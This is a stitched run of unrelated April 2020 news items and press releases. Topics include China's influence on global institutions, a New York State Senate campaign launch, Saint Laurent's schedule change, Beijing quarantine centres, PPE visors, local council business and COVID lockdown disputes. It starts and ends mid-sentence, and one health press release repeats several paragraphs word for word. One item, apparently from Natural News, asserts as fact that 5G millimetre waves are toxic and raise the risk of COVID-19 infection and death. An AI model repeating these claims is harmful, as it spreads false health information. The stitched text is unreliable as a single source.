Road Initiative projects, and to directly influence foreign governments through corruption, economic and political pressure, it said. The commission makes recommendations to Congress and submits a report annually on the national security implications of the US-China trade and economic relationship. China's steady, patient pressure tactics against Western liberal values can be seen in its bid to rewrite global technical standards to favour such national champions as Huawei Technologies, analysts said. Beijing also has worked to fill top United Nations jobs with Chinese nationals and used various multilateral groups, including the Shanghai Cooperation Organisation, to muscle fellow members into supporting restrictive policies on internet governance, cyber sovereignty and human rights, among others, analysts said. "It doesn't matter whether the institutions continue to exist if the norms within those institutions are fundamentally different," said Elizabeth Economy, Asia studies director at the Council on Foreign Relations. "If enough norms within institutions change, you have in effect created a different international order." Domestically, meanwhile, the Chinese Communist Party uses foreign policy to bolster support for its one-party rule and blunt deep displeasure over senior leaders' early handling of the pandemic as censorship and delayed crisis management cost lives and embarrassed the country, analysts said. The Chinese embassy in Washington did not respond to a request for comment. President Donald Trump has pulled the US out of multiple international treaties and agreements since taking office in January 2017. Photo: AP alt=President Donald Trump has pulled the US out of multiple international treaties and agreements since taking office in January 2017. Photo: AP At Monday's event, panellists said Beijing's current goal was not so much to export Marxist revolution as to popularise authoritarianism. But the US and other Western countries are also at fault, they added, for ceding ground to China through missteps and lost opportunities and failing to work cooperatively or set the global agenda. Since taking office in January 2017, President Donald Trump has pulled the US out of the Trans Pacific Partnership trade group, walked away from the Paris Agreement aimed at stemming global warming and squabbled with the European Union and North American Treaty Organisation, among others. "The US needs to do more outreach," said David Shullman, and adviser with the International Republican Institute, a non-partisan, non-governmental group focused on expanding democracy abroad. Panellists added that Western democracies " all too often embroiled in domestic infighting " also need to spend more time highlighting their strengths rather than China's weaknesses. "This administration has done a good job calling China out," said Economy. "It's done a very poor job of saying, this is what the United States stands for and this is what we're going to do." Sign up now and get a 10% discount (original price US$400) off the China AI Report 2020 by SCMP Research. Learn about the AI ambitions of Alibaba, Baidu & JD.com through our in-depth case studies, and explore new applications of AI across industries. The report also includes exclusive access to webinars to interact with C-level executives from leading China AI companies (via live Q&A sessions). Offer valid until 31 May 2020. This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright 2020 South China Morning Post Publishers Ltd. All rights reserved. Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved. HAMBURG, N.Y., April 28, 2020 /PRNewswire/ -- Local attorney Josh Mertzlufft today announced the official launch of his campaign for the New York State Senate. "Many people say 'our votes don't matter,'" said Mertzlufft. "We don't have to settle for that. Together, we can change the story. That's why I am running. I want to correct our state's course to restore New York." Buffalo attorney Josh Mertzlufft today announced his campaign for the New York State Senate. He rejects the notion that Western New York votes dont matter, is a firm proponent of conservative values, and is excited to work to create a better future for his community. He has fire in the belly and is ready to go," said Erie County Republican Chairman Karl L. Simmeth Jr. in a recent interview. Learn more about his campaign at JoshForWNY.com. As a part of the announcement, Mertzlufft's campaign released a video further discussing the upcoming campaign. View that video here. A lifelong Western New Yorker, Josh Mertzlufft is an engineer-turned-attorney with a passion for bringing people together to solve problems. Josh earned his bachelor's in Applied Physics from Houghton College and his law degree from the University at Buffalo School of Law. Josh and his wife, Shea, live in Hamburg, New York with their son and their young puppy. Josh believes in Western New York. He is a firm believer that our Western New York values, including integrity, grace, and unityall parts of being a good neighbor, are just what New York needs in a time of divided politics. He rejects the notion that "Western New York votes don't matter," is a firm proponent of conservative values, and is excited to work to create a better future for our community. "He has fire in the belly and is ready to go," said Erie County Republican Chairman Karl L. Simmeth Jr. in a recent interview. "He'll pick up where Chris Jacobs left off." "We can upset the status quo and place a check on one-party rule in New York by sending a Republican State Senate to Albany on November 3," said Mertzlufft. "I will fight for our families, economy, and values. Together, we will create a prosperous future for our home, Western New York." For more information on Josh Mertzlufft and his campaign for the NY-60 Senate Seat visit www.joshmertzlufft.com. Connect with Josh Mertzlufft: Online: joshmertzlufft.com Facebook: facebook.com/joshforwny Twitter: twitter.com/joshforwny Instagram: instagram.com/joshforwny PAID FOR BY: FRIENDS OF JOSH MERTZLUFFT SOURCE Friends of Josh Mertzlufft Related Links http://joshmertzlufft.com Saint Laurent will not take part any fashion fixtures for the remainder of the year, most notably Paris Fashion Week, in light of the coronavirus pandemic. The French fashion house recently released a statement outlining its intention to put a hold on displaying collections throughout 2020. In the statement, the luxury fashion label said: Conscious of the current circumstances and its waves of radical change, Saint Laurent has decided to take control of its pace and reshape its schedule. Now more than ever, the brand will lead its own rhythm, legitimating the value of time and connecting with people globally by getting closer to them in their own space and lives. Saint Laurent stated that with this strategy firmly in place, the company will not present its collections in any of the pre-set schedules of 2020. Saint Laurent will take ownership of its calendar and launch its collections following a plan conceived with an up-to-date perspective, driven by creativity. The Board of Directors of the Federation de la Haute Couture et de la Mode recently announced that Paris Mens Fashion Week, which was due to take place from 23 June to 28 June, and Paris Haute Couture Week, which was scheduled to be held from 5 July to 9 July, had been cancelled. The group said the federation is actively working with its members on possible alternatives. Paris Fashion Week for womenswear is currently still planned for 28 September to 6 October this year. However, Saint Laurents creative director Anthony Vaccarello explained to WWD that the Covid-19 outbreak has altered the labels plans for the fashion calendar year. We have known for years that something has to change. The time is now. There is no good reason to follow a calendar developed years ago when everything was completely different, he said. I dont want to rush a collection just because theres a deadline. This season, I want to present a collection when I am ready to show it. Mr Vaccarello described the violent impact of the coronavirus outbreak, stating it has forced us to suddenly and completely change our habits, behaviour, and interactions with others. Recommended French fashion houses to make face masks at factories Our decision not to be part of any predefined calendar this year stems from our desire to recognise the importance of our time, of our life, he stated. The fashion houses chief executive officer Francesca Bellettini added that remaining in limbo where nobody knows what to do and how things will be creates even further uncertainty. In these circumstances, it is clear to us that creativity cannot be forced into an arbitrary, preset timetable, but should be free to express itself in the form, place and time Anthony feels appropriate, with everything else coming after, Ms Bellettini said. Having made this decision, we find it important to communicate our intentions. As weve seen from how this crisis has been managed in different places around the world, the wait-and-see approach has been less successful than strong and clear decisions and rules set and communicated from the start. In March, it was reported that Balenciaga and Saint Laurent are making masks in factories amid risk of personal protective equipment shortages. The next London Fashion Week is due to be held entirely online for the first time in the events 40-year history. Beijing, on High Alert as Virus Spreads, Monitors Close Contacts of Those Infected Chinese authorities have been silent about the CCP virus outbreak in the capital of Beijing, but a local resident recently told The Epoch Times about the current situation inside the citys quarantine centers, providing a glimpse into the tense atmosphere there. Meanwhile, an internal government document revealed more details about how authorities monitor close contacts of confirmed patients. Since the virus spread across China from the ground zero of Wuhan in January, Beijing city enacted restrictions to contain the virus in the politically important region. On April 19, Chaoyang district in Beijing was officially designated a high-risk region for a virus outbreak, after the municipal government announced a cluster outbreak in a family where four members had been diagnosed on April 15. Since then, the government has not announced any new infections. Authorities also reopened eighty tourist attractions in the city on April 26. These sites were closed in January due to the outbreak. The reopened sites are limited to open-air spaces, and visitors can only buy tickets online. The tourist sites are opened now, but you barely see any tourists there, Mrs. Li, a Beijing resident told the Chinese-language Epoch Times on April 28. People arriving in Beijing from other regions of China must be quarantined at a hotel for 14 days before going on with their travels. After they return to their homes, travelers must be quarantined again in their hometown for another 14 days. Citizens are required to pay for their stay out of pocket. Quarantine Centers Li is familiar with the local tourism business. As in most regions of China, hotels in Beijing have been converted into quarantine centers. Now in Beijing, almost all hotels that are three stars or better are being used by the government as quarantine centers to isolate people temporarily, Li said. Li specially mentioned two districts in BeijingHaidian district, which is close to the Xiaotangshan makeshift hospital currently dedicated to treating virus patients, and Chaoyang districtwhere more hotels are being used as quarantine centers. They [authorities] used iron barricades to surround and block off the hotels that are used as quarantine centers. They set up three layers of gates to enter the hotels, Li said. People who deliver food can enter the first door, then staff who work at hotels can enter the second door. They place the food in front of the third door, and people inside will pick up the food from there. Hospital staff (L) registers patients on the sidewalk outside a childrens hospital in Beijing on March 31, 2020. (GREG BAKER/AFP via Getty Images) In March, several interviewees told the Chinese-language Epoch Times that there were three options for people who have to self-isolate at quarantine centers in Beijing: luxury hotel, medium-level hotel, and normal hotel, with different facilities, meal quality, and price. Li said that because most hotels were now used as quarantine centers, hotel room rates for ordinary travelers have become more expensive. The hotel would charge 250 yuan ($35.3) for a room that typically charges 100 yuan ($14.1) [per night], Li said, adding that most hotels in Beijing are now charging rooms in the 200 to 800 yuan ($28 to $113) range. The Epoch Times obtained a leaked document from the Chaoyang district government in Beijing, as well as an audio recording of a phone call between a resident living in the Sanjianfang community and a city official. The document recorded the content of the conversation: resident Mrs. Liu found that she was counted as a close contact of a virus patient on Feb. 13, after she delivered her child at Fuxing Hospital, located in Xicheng district of Beijing. Liu said she checked all government-released documents and databases, and did not find her name in any close contact lists, so she and her husband complained to the community health service center. Screenshot of an internal document released by the Sanjianfang community health service center in Chaoyang district, Beijing, China on Feb. 14, 2020. (Provided to The Epoch Times by Insider) On Feb. 14, the centers deputy director, also surnamed Liu, replied to Mrs. Liu and explained that the published close contact lists are from the Center for Disease Control and Prevention (CDC), but there were other systems of tracing and recording contacts of a virus patient, such as through people who report infections to other government agencies and artificial intelligence surveillance cameras that can detect individuals who were near a virus patient. The official then added, there is another list [from central government], which is top secret. She explained that even municipal authorities do not know how these lists were compiled, but must comply with orders to quarantine those on the list. According to the rules, you need to be isolated at a quarantine center. We allowed you to be quarantined at home because you just delivered a baby, she explained to Mrs. Liu. Jaguar Land Rover is scaling up production of its protective face visors in a continued effort to support the fight against Coronavirus. New tooling, developed by WHS Plastics, will produce a further 14,000 visors each week for key workers across the UK. Earlier this month, the carmaker announced the manufacture of 3D-printed face visors at its Advanced Product Creation Centre in Gaydon, home to one of the most advanced 3D-printing facilities in Europe. Visors have been produced and shipped to NHS Trusts across the UK, including the Great Western Hospitals NHS Foundation Trust and South Warwickshire NHS Foundation Trust. Now, using injection mould tooling supplied by WHS Plastics of Sutton Coldfield, the operation will produce in excess of 2,000 per day with one polypropylene headband generated every 30 seconds. Following the success of its 3D-printing efforts, Jaguar Land Rover is also releasing its NHS-approved CAD design in the hope that businesses with Additive Manufacturing facilities will join the global call for more Personal Protection Equipment (PPE); the ready-to-print files can be downloaded here. Ben Wilson, Jaguar Land Rover Additive Manufacturing and Prototype Design Manager, said: We hope that by providing the files for download, many more companies will be inspired to use their 3D-printing facilities to print vital PPE equipment for our keyworkers. Every effort, however small it may seem, is a contribution to a collective effort that will ensure our emergency services have what they need to continue their vital work. Each face visor has been designed to be reusable and can be easily dismantled and cleaned before being used again, safeguarding NHS trusts against future shortages. Paul Nicholson, Group Managing Director for WHS Plastics Ltd, said: Each and every day, our NHS heroes are risking their lives to ensure that those affected by Coronavirus receive urgent medical attention. In manufacturing, we are uniquely placed to support our essential services, to help deliver critical equipment to those on the frontline here in the Midlands. Its a small effort, but by working with Jaguar Land Rover we can help turn the tide. Jaguar Land Rover continues to work closely with the UK government and has offered its research and engineering expertise, as well as digital engineering and design, printing of 3D models and prototypes, machine learning, artificial intelligence and data science support. -- Tradearabia News Service I DONT know how the international scientific community is treating President Rodrigo Dutertes announcement to give a P50 million (from the previous P10 million) rewardpresumably to a Filipino or group of Filipinosfor the discovery of a vaccine against the coronavirus (Covid-19). I hope it would not be treated as a joke or with derision but would be treated with understanding, especially because of where it is coming from. When it was announced, I felt like the President was putting the cart before the horse. This is because if you have the money to dangle as reward, it would be better spent first to fund the development of a vaccine. The P50 million amount would not even be enough for the process because vaccine development, according to experts, would cost up to billions of dollars. That is precisely the reason that in the case of the Covid-19 pandemic, the entities leading the search for a cure and a vaccine are the rich countries like the US and the United Kingdom and multinational pharmaceutical firms. They all have the resources to follow the process that involves the academe and regulatory authorities. For a vaccine, the process includes research and several phases of testing. Like what a pharmacy professor told a media entity, it takes a village for it to succeed. The mere giving of a reward to encourage entities and individuals to develop a vaccine against Covid-19 is rather simplistic. The development of a cure and a vaccine involves science, which is a complicated matter. Even then, there are people who believe the mere giving of a reward would work. But how could prize money inspire work on the development of a vaccine in a milieu where scientists are underpaid and are not given by the government enough facilities and funding to succeed in their endeavors? As the President announced the Covid-19 reward scheme, the world scientific community is moving forward in its real efforts to find a cure and a vaccine that would effectively end the pandemic. Entities in, say India and the UK, are moving toward pushing the process to the human testing phase. There is no prize money dangled in those places, but people are partly motivated by honest intention, prestige and profit. In the Philippines, where herbal medicine is big business, all I am hearing are claims that this or that herb or concoction could enable the body to better withstand the onslaught of Covid-19. Indeed, many of those who have profited from the sale of herbal medicines by staking a faulty claim of them being cure-alls are now riding on the coattails of the Covid-19 pandemic to increase sales. Given this point, we may have to add another call to the one about unity. We should all be united in the Covid-19 battle, especially the politicians who are taking a leading role in the effort. Aside from that, we should be wary of simplistic notions that border on superstition to guide us in this battle. A more enlightened and well-informed approach would help. While Nigeria is preparing to start easing coronavirus lockdown covering its largest city Lagos and capital Abuja from May 4, some countries have already announced the reopening of businesses. It is the case of Algeria, where on date, the government has reported a total of 3,256 confirmed infections with the virus, with 419 deaths and 1,479 recoveries. Shops as well as warehouse for materials for building and public works, appliances, fabrics, jewelry, clothing and shoes, cosmetics and perfumes, home and office furniture, pastries and hairdressers are to reopen in Algiers. In addition to urban transport by taxi. Algeria has said restrictions linked to the novel coronavirus has significantly hit the economy which is under financial pressure due to a sharp fall in global oil prices. Curfew for some provinces has been shortened as the holy month of Ramadan started. The government, however, called on citizens to be vigilant. Countries like Ghana, Madagascar and South Africa have also taken measures in the sense of easing lockdown. ` Wilkes is the highest ranked institution in Luzerne County and within the top 25 percent of independent institutions in the nation. Wilkes University is once again being recognized for its commitment to social mobility. In (Photo : ANUSHREE FADNAVIS on Reuters ) COVID-19 Unlikely to Disappear; Expected to Return Each Year, Claim Chinese Researchers (Photo : Mike Segar on Reuters) COVID-19 Unlikely to Disappear; Expected to Return Each Year, Claim Chinese Researchers Chinese scientists have recently discussed a new Coronavirus claim. They said that SARS-CoV-2 is unlikely to be eradicated in the world. Worse, this disease may possibly return each year in every country like "seasonal flu." Virus may return every year like 'seasonal flu,' claim Chinese scientists Bloomberg reported that some of the top Chinese scientists have claimed that the virus will unlikely disappear in the infected places. Worse, the virus could return in waves each year due to the massive number of asymptomatic patients-- not yet being recorded and tested. Interestingly, SARS-CoV- 2 is way different from its close cousins like SARS or MERS. Aside from the asymptomatic carriers, the virus is not easily detected since wide testing is not yet applied worldwide. In SARS, for example, the disease will likely stop circulating once a patient undergoes quarantine. Unfortunately, this is not the same as Coronavirus. Once the number of asymptomatic patients-- undetected and untested-- continues to increase, the possibility of the virus to be easily eradicated is still a long shot. "This is very likely to be an epidemic that co-exists with humans for a long time, becomes seasonal and is sustained within human bodies," said Jin Qi, director of the Institute of Pathogen Biology at China's top medical research institute, the Chinese Academy of Medical Sciences. United States Dr. Fauci: "We may never return to normal" Sadly, Dr. Anthony Fauci, the director of the National Institute of Allergy and Infectious Diseases, already said that "going back to the normal" before the outbreak, is a still strong possibility if the virus will not be contained, once and for all. "When we get back to normal, we will go back to the point where we can function as a society," he said. He continued, "If you want to get back to pre-coronavirus, that might not ever happen in the sense that the threat is there." Heat may help on removing Coronavirus, say U.S. officials Chinese experts also debunked the latest theory of some top U.S. officials. Last week, officials said that summer might help on easing the spread of Coronavirus since heat exposure slows down the virus. "Coronavirus dies at a much more rapid pace when exposed to sunlight and humidity," said Bill Bryan, the head of the science and technology directorate at the Department of Homeland Security, during the White House briefing. "The virus dies the quickest in direct sunlight. Isopropyl alcohol will kill the virus in 30 seconds." Unfortunately, Chinese experts found no evidence in terms of this claim. "The virus is heat-sensitive, but that's when it's exposed to 56 degrees Celsius for 30 minutes, and the weather is never going to get that hot," said Wang Guiqiang, head of the infectious diseases department of Peking University First Hospital. "So globally, even during the summer, the chance of cases going down significantly is small." ALSO READ: COVID-19: 6 New Symptoms Associated With Coronavirus Revealed by CDC 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Midland City Council held a three-hour meeting which included several public hearings on Monday night in a virtual format, via Zoom. Going through the agenda items, the council looked at the necessity of new proposed sidewalks, approved the community Development Block Grant budget, decided to flatten the millage rate, which was previously proposed to be raised, and they sent a site plan for multi-family housing units back to the planning commission. "Student" housing site plan sent back to planners The council held a public hearing to discuss a site plan for a 22-unit, multi-family townhome complex initiated by PKP Properties, LLC, called Danbury Place. They would be located at 4908 and 4912 Universal Drive, which is a vacant lot just south of the American Legion, and next to the Raintree Condominium complex and Colonial Villa of Midland, among other housing complexes on the west side of town. The site plan, which met the citys requirements and was unanimously recommended approval by the Midland Planning Commission, allows two parking spaces for each four-bedroom, two-story townhome, which also would have back and front entrances. Petitioners Patrick Pnacek of PKP Properties and Scott Bell of Lapham Associates said the housing would be marketed toward young professionals and students, as that was the need in Midland. Pnacek said the land has been zoned for multiple family homes since 2005 and has been vacant for 20-plus years. When we ventured into this project, we looked at what the City of Midland said they wanted in the way of land use master plan and zoning and tried to develop a project that meets the needs of the community, which in fact, also includes students, Pnacek said. Were not sure that students will be the sole residents of this proposed project it will probably also be professionals that want this sort of development. However, between the planning and council meetings, there had been several comments made by neighbors from the Raintree Condominium who opposed the site plan. The neighbors didnt like the idea of students living next door, and were worried about noise, privacy and traffic. There was also concern there wasnt adequate notice of the virtual meetings. One Raintree resident, Robert Everett, had a petition signed by more than 30 Raintree residents who also opposed the new housing, and said during the council meeting that the site plan didnt address the essence of the surroundings and called the townhomes party central. Your plan is placing potentially 88 students with their 88 vehicles 50 feet directly next to a longstanding retirement community this is not a neighborly thing to do, he said. However, council members are tasked with approving site plans that meet all the citys requirements, using an objective view based on the citys criteria, rather than subjective views such as whether a property is a good fit for the area. The zoning in that area allows for this type of development. Councilwoman Pam Hall commented that she felt like a rubber stamp and questioned what the point of the council approving site plans was. However, these concerns have already begun to be addressed, as the city is currently in the process of changing the site plan review process to give the Midland Planning Commission the final approval for site plans. As much as you may like, dislike, love, hate a proposal, you must find a reason under the standards of the zoning ordinance that it does not comply with in order to say no to it, City manager Brad Kaye told the council. If you find that it meets every standard of the zoning ordinance, then it must be approved. Kaye added the council could face legal action for not objectively approving site plans that meet the citys requirements. Councilman Steve Arnosky motioned to send the plan back to the planning commission to allow for more consideration of parking and flood concerns, and give more time for the public to provide input. The motion was seconded by Councilwoman Pam Hall and voted into approval with a 3-2 vote, with the other in-favor vote coming from Mayor Maureen Donker. Donker made it clear that she was voting yes only because of the times relating to the pandemic and the change of meetings to a virtual format, giving a fair opportunity to those who would like to weigh-in on the site plan. However, she said she believed the city handled it correctly and appropriately and she would be shocked if there were any changes made by the commission. The site plan will still need final approval from council at a later meeting. Last-minute millage rate change The council held its first public hearing on the 2020-21 proposed budget after discussing it in previous meetings, and during their Monday meeting, deciding to make some last-minute changes to the millage rate, which was set to raise by .41. The total millage rate would have been 15.55 mils, costing an average household about $102 per month. However, considering the pandemic, the council unanimously decided not to raise the millage rate at this time, keeping it at 15.14 mils. I understand there were some things at the beginning of the year that we were targeting and wanted to do, but we couldnt have predicted we would be where we are today, so I error on the side of being cautious and conservative at this point, said Councilwoman Diane Brown Wilhelm. Councilman Marty Wazbinski echoed her thoughts, saying it was the right thing to do, and Donker said keeping the millage rate flat would be beneficial for local business owners, as well as residents, who are all taking a hit right now. Over the years, weve saved for an emergency and I guess I would think that a pandemic is kind of that, she said. I dont know what else I think that this is the right time to do that and for us to continue forward then you know with that same mindset, as that we are frugal moving forward. The millage rate helps fund general operations, such as curbside services and the fire department, storm water management for flood response, library operations, public safety pensions and sanitary sewer improvements. The next public hearing on the proposed budget will take place on Monday, May 11. Sidewalk Improvement Program Every year the City of Midland hosts the Sidewalk Improvement Program, which allows residents to petition for new sidewalks. Depending on the project, the assessed cost goes in part to the property owners where the sidewalk would be installed, and part of the cost goes to the city. This year, there were three proposed sidewalks two petitioned by residents and one proposed by council on Waldo Avenue and the council held a hearing to discuss their necessity. Ultimately, the council decided to move forward with just one, which would be on the east side of Waldo Avenue from Ashman Street, extending 425 feet south. This project will cost about $17,000, with about $9,000 falling to the city and about $8,000 to the property owners. The other two proposed sidewalks were the north side of Joe Mann Boulevard at T. Moore Drive, and the west side of West Main Street, from W. Sugnet Road, extending .24 miles north. The council was cautious to spend the money for multiple new sidewalks this year, given the pandemic, and decided the other sidewalks could wait. Other items discussed by council: The council recognized the Midland Rotary Clubs 100-year anniversary with a proclamation. The 2020-21 Community Development Block Grant Budget of $346,455 was approved with a funding being allocated as follows: $48,900 to planning and administrations costs; $100,000 for kitchen and bath remodel at Cleveland Manor; $188,055 for energy efficiency upgrades at Washington Woods; $4,500 to Legal Services of Eastern Michigan for ongoing testing and enforcement of fair housing; and $5,000 contingency. A site plan for a 9,000-square-foot oral surgery medical clinic and office, which was initiated by Fashion Square Investments, LLC, was approved for 5220 Eastman Avenue. Council authorized a contract with J.R. Heineman & Son, Inc. for deck repairs on the Poseyville Bridge, to cost $234,000. (Natural News) Some of the 5G rollout in Virginia is under attack, but not necessarily for the reasons you might think. Members of two powerful congressional committees are demanding that the Federal Communications Commission (FCC) reverse a ruling allowing a mobile phone operator to activate its new 5G network because the signals could interfere with military and other operations. A bipartisan cohort of politicians in the House and Senate Armed Services committees wrote in a recent appeal to the FCC that if the commission does not immediately halt this 5G activation that Congress itself will force through legislation towards that end. According to Senators Jim Inhofe and Jack Reed, along with Representatives Adams Smith and Mac Thornberry, Ligado Networks, based out of Virginia, is planning to open up its 5G network on the L-band spectrum, which could disrupt signals used by the military and GPS systems. These four, who serve as the chairmen and ranking members of the two committees, have accused the FCC of using the Wuhan coronavirus (COVID-19) crisis as an excuse to rush through approval for Ligados 5G network, which had previously run into roadblocks gaining activation approval. But the Federal Communications Commission has used the crisis, under the cover of darkness, to approve a long-stalled application by Ligado Networks a proposal that threatens to undermine our global positioning system (GPS) capabilities, and with it, our national security, their letter reads. The departments of Defense, Commerce, Interior, Justice, Homeland Security, Energy, and Transportation as well as NASA, the National Science Foundation, the Coast Guard and the Federal Aviation Administration all strongly object to Ligados plan. Be sure to listen below to The Health Ranger Report as Mike Adams, the Health Ranger, talks about how 5G technology increases blood cell permeability, increasing the risk of serious Wuhan coronavirus (COVID-19) infection and death: Why doesnt Congress care as much about the health of Americans as it does about military GPS signals? The issue is apparently so serious to these four that they are willing to rush through their own legislation to force Ligado to stop its 5G rollout in order to please the military. If they do not, the four committee heads further wrote about the FCC, and unless President Trump intervenes to stop this from moving forward, it will be up to Congress to clean up this mess. Keep in mind, however, that none of this opposition to Ligados 5G network has anything to do with how 5G might affect the health of Americans. Even though there is copious evidence to suggest that 5G millimeter waves are toxic to the human body, opening it up to infection and other problems, Congress has thus far done nothing to curb its rollout. Perhaps good American patriots need to dig up evidence somehow to suggest that military operations will be impeded by all 5G signals everywhere, and maybe that will prompt committees like this to issue similar threats to the FCC to revoke all approval for 5G activation. It is a sad state of affairs when Congress is more concerned about the continuity of government than with the health of the people they are supposed to represent. There is no denying that 5G represents a major threat to public health, and yet Congress only seems to care about protecting the military deep state from having its signals interfered with by its use. To learn more about the dangers of 5G, be sure to check out the film 5G Apocalypse: The Extinction Event. You can also keep up with the latest news about the Wuhan coronavirus (COVID-19) by checking out Pandemic.news. Sources for this article include: JustTheNews.com NaturalNews.com DALLAS, April 28, 2020 /PRNewswire/ -- As April and National Occupational Therapy Month come to a close, The University of St. Augustine for Health Sciences wants to recognize the unique ways Occupational Therapists are helping people during the COVID-19 Pandemic. Many people have heard about the field of Occupational Therapy (OT), but few are aware of what OTs actually do. Occupational therapists are healthcare professionals who help individuals maximize functional performance. They work with people who have injuries, illnesses, disabilities, or other conditions that affect their ability to perform everyday tasks. With the onset of the COVID-19 pandemic, OTs are providing valuable tips and advice to people and families. Dr. Keith McWilliams, and other occupational therapy professors from the University of St. Augustine for Health Sciences in Dallas, shared the following tips: Create a designated space for work (and class for kids) : this should be a space that can be designated for work or class activities only, and not interfere with any other at home activity such as eating, sleeping or playing. Set a daily routine. Both children and adults can benefit from familiar patterns in this new everyday life we are experiencing. : this should be a space that can be designated for work or class activities only, and not interfere with any other at home activity such as eating, sleeping or playing. Set a daily routine. Both children and adults can benefit from familiar patterns in this new everyday life we are experiencing. For parents, use this opportunity to reframe your understanding of learning . There are so many important life skills a child can learn at home from younger children helping with chores to older children learning to open and manage an online checking or savings account. Get outside and work in the yard. Research shows that children who help around the house are happier and more well-adjusted, and it's a great chance to broaden their sense of independence. . There are so many important life skills a child can learn at home from younger children helping with chores to older children learning to open and manage an online checking or savings account. Get outside and work in the yard. Research shows that children who help around the house are happier and more well-adjusted, and it's a great chance to broaden their sense of independence. Stay Engaged . When we focus on meaningful tasks, we feel calm and tune out all the white noise surrounding us. This is a great time to start those family projects around the house you've always swore you would do or dust off those old boardgames. Doing is the anecdote for anxiety! . When we focus on meaningful tasks, we feel calm and tune out all the white noise surrounding us. This is a great time to start those family projects around the house you've always swore you would do or dust off those old boardgames. is the anecdote for anxiety! Moderate News Consumption. It's important to stay informed, but don't inundate yourself and your family with the constant flow of news. In fact, try to limit your children's exposure to news. Set aside a 'news hour' for yourself where you keep informed of the daily developments rather than stewing in a constant stream of negative information every day. It's important to stay informed, but don't inundate yourself and your family with the constant flow of news. In fact, try to limit your children's exposure to news. Set aside a 'news hour' for yourself where you keep informed of the daily developments rather than stewing in a constant stream of negative information every day. Kids need conversation . Talk about your feelings, and more importantly encourage your children to talk to you. This is a lot for all of us to process especially for kids. It's okay to say that sometimes you are worried too, but emphasize that by staying at home, you are keeping each other safe. Give your child extra comfort and physical affection, like hugs or snuggling up together with a favorite book. Physical comfort goes a long way towards providing inner security. That closeness can nourish you, too. . Talk about your feelings, and more importantly encourage your children to talk to you. This is a lot for all of us to process especially for kids. It's okay to say that sometimes you are worried too, but emphasize that by staying at home, you are keeping each other safe. Give your child extra comfort and physical affection, like hugs or snuggling up together with a favorite book. Physical comfort goes a long way towards providing inner security. That closeness can nourish you, too. Involve your kids in scheduling! While the transition to home/online school can be challenging, encourage your kids to participate in managing their own schedules. Print out the schedules provided by schools, cut the different subjects out, and have them arrange their subjects on a poster board calendar like a puzzle to assist in visual learning. While the transition to home/online school can be challenging, encourage your kids to participate in managing their own schedules. Print out the schedules provided by schools, cut the different subjects out, and have them arrange their subjects on a poster board calendar like a puzzle to assist in visual learning. Home alone? Prolonged isolation and inactivity can quickly impact morale and productivity. In order to keep spirits up, we should continue to engage in virtual birthday parties, happy hours, and make time for those casual "water cooler" conversations. Prolonged isolation and inactivity can quickly impact morale and productivity. In order to keep spirits up, we should continue to engage in virtual birthday parties, happy hours, and make time for those casual "water cooler" conversations. Ask for help. Most importantly, do not fear asking for help if you feel overwhelmed or concerned regarding the impacts of COVID-19. See if your employer offers an Employee Assistance Program with tele-counseling. Media Contact: Katie Mudd 214-676-4254 [email protected] SOURCE University of St. Augustine BAKU, Azerbaijan, Apr. 28 By Ilkin Seyfaddini - Trend: The total number of coronavirus infected people in Uzbekistan rose to 1,924, Trend reports on April 28 with reference to the Ministry of Health. To date, 892 patients have fully recovered from the coronavirus infection in the country, eight have died. Since April 1, Uzbekistan announced a self-isolation regime in Tashkent, the capital, as well as in Nukus and other regional centers. Citizens over 65 are categorically prohibited from leaving their homes. They can go out only to visit pharmacies and shops near their respective places of residence. The first case of coronavirus infection in Uzbekistan was detected on March 15 in the laboratory of the Research Institute of Virology; it was an Uzbek woman who returned from France. The Ministry of Health later announced that her son, daughter, husband and grandson also tested coronavirus-positive. The outbreak of the coronavirus began in the Chinese city of Wuhan (an international transport hub), at a fish market in late December 2019. The number of people killed by the disease has surpassed 211,000. Over three million people have been confirmed as infected, over 894,000 have reportedly recovered. The World Health Organization (WHO) declared COVID-19 a pandemic on March 11. Some sources claim the coronavirus outbreak started as early as November 2019. --- Follow author on Twitter: @seyfaddini SPRINGFIELD Gov. J.B. Pritzker faces new challenges as he prepares to extend the states stay-at-home through May 30 to reduce the spread of the coronavirus. On Monday, Clay County Circuit Court Judge Michael McHaney ruled in favor of state Rep. Darren Bailey, R-Xenia, in his case against Pritzkers stay-at-home order. On Tuesday, state Rep. John Cabello, R-Machesney Park, said he plans to file a nearly identical suit in northern Illinois. The challenges come as sheriffs raise questions about enforcing the governors orders. Cabello said the suit he plans to file in Winnebago County calls the governors unilateral orders into question. I hope it sends a wake-up call to the governor, the guy that is acting like a dictator, Cabello said. The governor has said his orders were designed to protect public health amid the COVID-19 pandemic. To critics of such lawsuits, Cabello said its a free country, not a dictatorship. He criticized the governors decision to close state parks during the pandemic. There are ways of safeguarding yourself, but when you demand that the citizens assets are closed and since they still have to pay for them and not use them I have an issue with that, Cabello said. Cabellos attorney said his lawsuit against the governor will be filed by the end of the day on Tuesday. Pritzker has said he wants local governments to enforce his orders. But several sheriffs have said they wont, including the elected sheriffs of Douglas County and Tazewell County. Kankakee County Sheriff Mike Downey said enforcing the governors order came with too much liability, opening law enforcement agencies up to lawsuits. We have enough liability issues to worry about on a daily basis that this would just exacerbate the problem and I just dont see it being legitimate, Downey said. Pritzker has said people will get sick if sheriffs dont enforce his orders. Downey said while law enforcement officers are there to help keep the community safe, each individual is responsible for their own health. What they do in their social life obviously dictates where theyre going healthwise, Downey said. For him to blame sheriffs, which doesnt surprise me, is irresponsible. Overnight reports from Jacksonville police: A 16-year-old youth told police he was beaten by a group of juveniles about 6:42 p.m. Monday near Independence Avenue and Main Street. Police are investigating. A man was found lying on the porch of a residence in the 100 block of East Independence Avenue about 2:53 a.m. Tuesday. The man left when asked, police said. Jason Isaacs brought back one of his most iconic props on TikTok to help raise COVID-19 relief funds. The 56-year-old actor showcased the iconic snake wand he used as the nefarious Lucius Malfory in the Harry Potter movies, in a video for the British Red Cross TikTok. Isaacs, who is an ambassador for the British Red Cross, began his video with a joke, stating, 'Oh I hate it when old guys dance on TikTok.' Prop: Jason Isaacs brought back one of his most iconic props on TikTok to help raise COVID-19 relief funds Snake wand: The 56-year-old actor showcased the iconic snake wand he used as the nefarious Lucius Malfory in the Harry Potter movies, in a video for the British Red Cross TikTok He assured 